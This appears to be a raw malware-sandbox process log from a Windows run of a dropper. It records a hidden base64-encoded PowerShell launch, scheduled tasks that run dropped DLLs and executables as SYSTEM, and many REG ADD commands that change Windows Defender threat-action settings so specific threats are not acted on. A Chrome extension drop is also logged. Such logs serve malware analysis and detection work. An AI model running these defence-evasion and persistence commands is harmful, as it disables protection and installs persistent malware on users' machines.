C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵PID:5904
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:8960
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:8216
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4152
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4152 -s 20682⤵
- Program crash
PID:8300
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:8804
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:8428
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:8100
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:9548
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:10168
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵PID:9164
-
C:\Windows\Temp\ZKIEJJPSRIlthXTT\afNVUzxISkNEpud\SxjcCox.exeC:\Windows\Temp\ZKIEJJPSRIlthXTT\afNVUzxISkNEpud\SxjcCox.exe V8 /site_id 754 /S1⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Modifies registry class
PID:13968 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bWIRRaDZCpCYZHZEtf"2⤵PID:14036
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵PID:15180
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:16980
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵PID:4544
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:15372
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JDaUpqLWU\RmTWIJ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qTJPyBJZsADsDDd" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:16668 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qTJPyBJZsADsDDd2" /F /xml "C:\Program Files (x86)\JDaUpqLWU\ocAwAqy.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:16108 -
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "qTJPyBJZsADsDDd"2⤵PID:3156
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "qTJPyBJZsADsDDd"2⤵PID:14188
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "LMVWktnylhEgic" /F /xml "C:\Program Files (x86)\CzJsMnpmYIHU2\fwrEYVm.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:16180 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "LmWwWbygFrIYQ2" /F /xml "C:\ProgramData\pJxacTbbSlizmPVB\uDouXPq.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:15024 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "kIaWWMRbvXNLsrwhO2" /F /xml "C:\Program Files (x86)\MMWqmhiAcXveJYezuLR\CglJrVA.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:11316 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ChSiuBhrWLQfWhgdkuF2" /F /xml "C:\Program Files (x86)\MCoLVEAxuDhpC\ETfSDLy.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:14248 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "hMZOFgVuABkGdcuhk" /SC once /ST 01:42:50 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZKIEJJPSRIlthXTT\enOqmRyB\xettwHL.dll\",#1 /site_id 754" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:360 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "hMZOFgVuABkGdcuhk"2⤵PID:14376
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "spuNwBvNokDa" /SC once /ST 10:26:05 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\SpgccBBp\aBzoTjM.exe\" U4 /S"2⤵
- Creates scheduled task(s)
PID:14876 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "spuNwBvNokDa"2⤵PID:12148
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x40c1⤵PID:15712
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\ZKIEJJPSRIlthXTT\enOqmRyB\xettwHL.dll",#1 /site_id 7541⤵PID:5924
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\ZKIEJJPSRIlthXTT\enOqmRyB\xettwHL.dll",#1 /site_id 7542⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
PID:6816 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "hMZOFgVuABkGdcuhk"3⤵PID:15072
-
C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\SpgccBBp\aBzoTjM.exeC:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\SpgccBBp\aBzoTjM.exe U4 /S1⤵PID:14992
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9924
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:10172
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Modifies data under HKEY_USERS
PID:11392
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4784
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:9804
-
C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\Ehlsplu.exeC:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\Ehlsplu.exe nh /site_id 754 /S1⤵PID:5704
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:14296 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵PID:10716
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:10460
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:14192
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:11352
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:10552
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:11360
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:5180
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:11444
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:7740
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:9996
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:7724
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:10096
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:11376
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:11728
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:13024
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:9980
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:8784
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:11188
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:12416
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:14016
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:14928
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "cbBtQoNpOByPPTwrn" /SC once /ST 06:40:16 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZKIEJJPSRIlthXTT\afNVUzxISkNEpud\QDsgliQ.exe\" V8 /site_id 754 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:15136 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "cbBtQoNpOByPPTwrn"2⤵PID:14800
-
C:\Windows\Temp\ZKIEJJPSRIlthXTT\afNVUzxISkNEpud\QDsgliQ.exeC:\Windows\Temp\ZKIEJJPSRIlthXTT\afNVUzxISkNEpud\QDsgliQ.exe V8 /site_id 754 /S1⤵
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:4628 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bWIRRaDZCpCYZHZEtf"2⤵PID:5428
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵PID:11484
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:11960
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵PID:5976
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:17284
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JDaUpqLWU\bipxWr.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qTJPyBJZsADsDDd" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2392 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qTJPyBJZsADsDDd2" /F /xml "C:\Program Files (x86)\JDaUpqLWU\mzjxLie.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:12116 -
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "qTJPyBJZsADsDDd"2⤵PID:12608
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "qTJPyBJZsADsDDd"2⤵PID:17264
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "LMVWktnylhEgic" /F /xml "C:\Program Files (x86)\CzJsMnpmYIHU2\GtplMFg.xml" /RU "SYSTEM"2⤵
- Blocklisted process makes network request
- Drops file in Drivers directory
- Creates scheduled task(s)
PID:8060 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "LmWwWbygFrIYQ2" /F /xml "C:\ProgramData\pJxacTbbSlizmPVB\aRYukxX.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:8040 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "kIaWWMRbvXNLsrwhO2" /F /xml "C:\Program Files (x86)\MMWqmhiAcXveJYezuLR\rVhxGOd.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:6460 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ChSiuBhrWLQfWhgdkuF2" /F /xml "C:\Program Files (x86)\MCoLVEAxuDhpC\ZGjesCD.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:6860 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "spuwdXuKdRzG" /SC once /ST 03:56:36 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\apBmsbRX\VsCbUqq.exe\" U4 /S"2⤵
- Creates scheduled task(s)
PID:10140 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "spuwdXuKdRzG"2⤵PID:11416
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:10184
-
C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\apBmsbRX\VsCbUqq.exeC:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\apBmsbRX\VsCbUqq.exe U4 /S1⤵PID:8416
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:14020
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵PID:5764
-
C:\Users\Admin\AppData\Roaming\jgsdgssC:\Users\Admin\AppData\Roaming\jgsdgss1⤵PID:1144
-
C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\OiRQGqF.exeC:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\OiRQGqF.exe nh /site_id 754 /S1⤵PID:8976
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:15392 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵PID:7124
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:10548
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:10756
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:10988
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:16780
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:13520
-
